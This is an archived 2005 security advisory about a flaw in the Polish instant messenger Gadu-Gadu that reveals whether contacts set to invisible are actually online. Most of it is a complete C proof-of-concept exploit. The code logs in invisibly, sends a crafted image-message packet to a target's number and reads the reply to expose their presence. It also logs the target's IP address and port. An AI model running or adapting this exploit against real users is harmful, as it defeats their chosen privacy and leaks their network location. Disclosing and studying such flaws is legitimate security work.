[EXPL] Gadu-Gadu Invisible Users Detection Vulnerability

From: SecuriTeam (support_at_securiteam.com)
Date: 09/27/05

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Date: 27 Sep 2005 15:27:02 +0200

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      Gadu-Gadu Invisible Users Detection Vulnerability
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.gadu-gadu.pl/> Gadu-Gadu is an instant messaging program that
    is popular in Poland.

    A flaw in Gadu-Gadu allows users of the program to detect the presence of
    users that have made themselves invisible.

    DETAILS

    It was recently announced that the authors of Gadu-Gadu have fixed the
    vulnerability in their servers that was used by software plugins such as
    like "Inwigilator" to detect whether a user of the IM program is
    Unavailable or Invisible.

    It would appear that it is *still* possible to detect whether the user is
    invisible.

    References:
    [1] <http://soltysiak.com/articles/gg_ir.php>
    http://soltysiak.com/articles/gg_ir.php
    [2] <http://www.soltysiak.com/gadu.c> http://www.soltysiak.com/gadu.c
    [3] <http://dev.null.pl/ekg/> http://dev.null.pl/ekg/

    Compiled POC allows you to try to detect the invisible user:
    # ./gadu <your_uin> <your_password> <victim_uin>
    gadu_connect: success.
    Gosciu jest online!
    gadu_disconnect

    This shows that <victim_uin> is online. If seems unavailable it means they
    are invisible.

    The conditions remain constant:
    - the victim must have you listed in their address book
    - the victim must have image messages enabled (that is the minimum size >
    0)

    Exploit:
    /*
     * Wykrywanie niewidzialnosci w Gadu-Gadu
     * Maciej Soltysiak <maciej@soltysiak.com>
     *
     * Program wymaga libgadu
     *
     * compile:
     * gcc -o gadu gadu.c -lgadu
     * Jak buczy o ssl to dodaj -lssl
     *
     * use:
     * ./gadu <uin> <haslo> <ofiara>
     *
     * Wymagania:
     * - ofiara musi miec uin w kontaktach
     * - ofiara musi obslugiwac wiadomosci obrazkowe (miec limit rozmiaru > 0)
     *
     * Jesli chcesz zastosowac te metode w swoim programie pamietaj, ze
     * jest to kod dystrybuowany na licencji:
     * Creative Commons Uznanie autorstwa-Na tych samych warunkach 2.0
     * http://creativecommons.org/licenses/by-sa/2.0/pl/
     *
     * Nie pytaj mnie jak to skompilowac pod windows!
     * ctrl+c przerywa program, wylogowujac sie ladnie.
     *
     * Program uzywa do logowania rozszerzenia GNU vasprintf() jak Ci
     * to nie pasuje przepisz kod. Ja bylem leniwy.
     *
     */
    #define _GNU_SOURCE
    #include <stdio.h>
    #include <string.h>
    #include <sys/time.h>
    #include <libgadu.h>
    #include <signal.h>

    static inline void log_simple(const char *txt)
    {
     fprintf(stderr, "%s\n", txt);
    }

    void log_string(const char *fmt, ...)
    {
     char *buf;
     va_list args;
     int n;
     
     va_start(args, fmt);
     n = vasprintf(&buf, fmt, args);
     va_end(args);

     if (n >= 0)
     {
      if (fprintf(stderr, "%s\n", buf) < 0)
       log_simple("log_string: fprintf returned an error");
      free(buf);
     }
     else
      log_simple("log_string: vasprintf failed");

     return;
    }

    /* Global Gadu-Gadu handle */
    struct gg_session *gadu_sess = NULL;

    #define GG_CONN_TIMEOUT 10

    static inline void gadu_disconnect(void)
    {
     if (gadu_sess != NULL)
     {
      log_simple("gadu_disconnect");
      gg_logoff(gadu_sess);
      gg_free_session(gadu_sess);
     }
     exit(1);
    }

    static void init_signals(void)
    {
     struct sigaction sigact;

     sigact.sa_flags = SA_NODEFER;
     sigact.sa_handler = (void *) gadu_disconnect;
     sigemptyset(&sigact.sa_mask);

     sigaction(SIGTERM, &sigact, NULL);
     sigaction(SIGHUP, &sigact, NULL);
     sigaction(SIGQUIT, &sigact, NULL);
     sigaction(SIGINT, &sigact, NULL);
    }

    static inline void gadu_connect(int uin, char *pass)
    {
     struct gg_login_params gadu_p;
     fd_set rd, wd;
     struct gg_event *e;
     struct timeval tv;
     int ret;

     memset(&gadu_p, 0, sizeof(gadu_p));
     gadu_p.uin = uin;
     gadu_p.password = pass;
     gadu_p.async = 1;

     gadu_sess = gg_login(&gadu_p);
     
     for (;;) {
      FD_ZERO(&rd);
      FD_ZERO(&wd);

      if ((gadu_sess->check & GG_CHECK_READ))
       FD_SET(gadu_sess->fd, &rd);
      if ((gadu_sess->check & GG_CHECK_WRITE))
       FD_SET(gadu_sess->fd, &wd);

      tv.tv_sec = GG_CONN_TIMEOUT;
      tv.tv_usec = 0;
      
      ret = select(gadu_sess->fd + 1, &rd, &wd, NULL, &tv);
     
      if (!ret) {
       gadu_disconnect();
      } else {
       if (gadu_sess && (FD_ISSET(gadu_sess->fd, &rd) ||
    FD_ISSET(gadu_sess->fd, &wd))) {
        if (!(e = gg_watch_fd(gadu_sess))) {
         log_simple("gadu_connect: connection lost!");
         gadu_disconnect();
        }
        if (e->type == GG_EVENT_CONN_SUCCESS) {
         log_simple("gadu_connect: success.");
         gg_free_event(e);
         break;
        }
        if (e->type == GG_EVENT_CONN_FAILED) {
         log_simple("gadu_connect: failed.");
         gg_free_event(e);
         gadu_disconnect();
        }
        gg_free_event(e);
       }
      }
     }

     gg_change_status(gadu_sess, GG_STATUS_INVISIBLE);
    }

    static inline void update_gadu(void)
    {
     struct gg_event *e;
     
     if ((e = gg_watch_fd(gadu_sess)))
     {
      switch(e->type)
      {
      case GG_EVENT_IMAGE_REQUEST:
       log_simple("Gosciu jest online!");
       break;
      case GG_EVENT_NOTIFY60:
       log_string("notify: %d %d %d.%d.%d.%d %d %d '%s'\r\n",
        e->event.notify60->uin,
        e->event.notify60->status,
        e->event.notify60->remote_ip & 0xff,
        (e->event.notify60->remote_ip >> 8) & 0xff,
        (e->event.notify60->remote_ip >> 16) & 0xff,
        e->event.notify60->remote_ip >> 24,
        e->event.notify60->remote_port,
        e->event.notify60->version,
        e->event.notify60->descr);
       break;
      case GG_EVENT_STATUS60:
       log_string("status: %d %d %d.%d.%d.%d %d %d '%s'\r\n",
        e->event.status60.uin,
        e->event.status60.status,
        e->event.status60.remote_ip & 0xff,
        (e->event.status60.remote_ip >> 8) & 0xff,
        (e->event.status60.remote_ip >> 16) & 0xff,
        e->event.status60.remote_ip >> 24,
        e->event.status60.remote_port,
        e->event.status60.version,
        e->event.status60.descr);
       break;
      case GG_EVENT_DISCONNECT:
       gadu_disconnect();
      case GG_EVENT_ACK:
       log_string("update_gg: ACK from %d. %d %d\r\n",
        e->event.ack.recipient,
        e->event.ack.status,
        e->event.ack.seq);
       break;
      }
     }

     gg_free_event(e);
    }

    int main(int argc, char *argv[])
    {
     uin_t v_uin; /* victim */
     uin_t a_uin; /* attacker */

     if (argc != 4)
     {
      log_simple("skladnia: gadu <twoj_uin> <twoje_haslo> <uin_ofiary>\n" \
          "Pamietaj wylogowac sie ze swojegu uina z gadu.");
      return 0;
     }

     if ((a_uin = atoi(argv[1])) <= 0)
     {
      log_simple("Podaj twoj poprawny numer.");
      return 0;
     }
     
     if ((v_uin = atoi(argv[3])) > 0)
     {
      /*
       * ethereal + tcpdump rzadza !
       */
      unsigned char code[] = { 0x00, 0x02, 0x0d, 0x00, 0x00, 0x00, 0x80, 0x09,
    0x01, 0xaf, 0xa8, 0x00, 0x00, 0x9f, 0xc1, 0xee, 0x84 };

      init_signals();

      gadu_connect(a_uin, argv[2]);

      gg_notify(gadu_sess, &v_uin, sizeof(uin_t));

      gg_send_message_ctcp(gadu_sess, 0x28, v_uin, code, sizeof(code));

      for(;;)
       update_gadu();
     }

     return 0;
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:maciej@soltysiak.com> Maciej
    Soltysiak.

    ========================================

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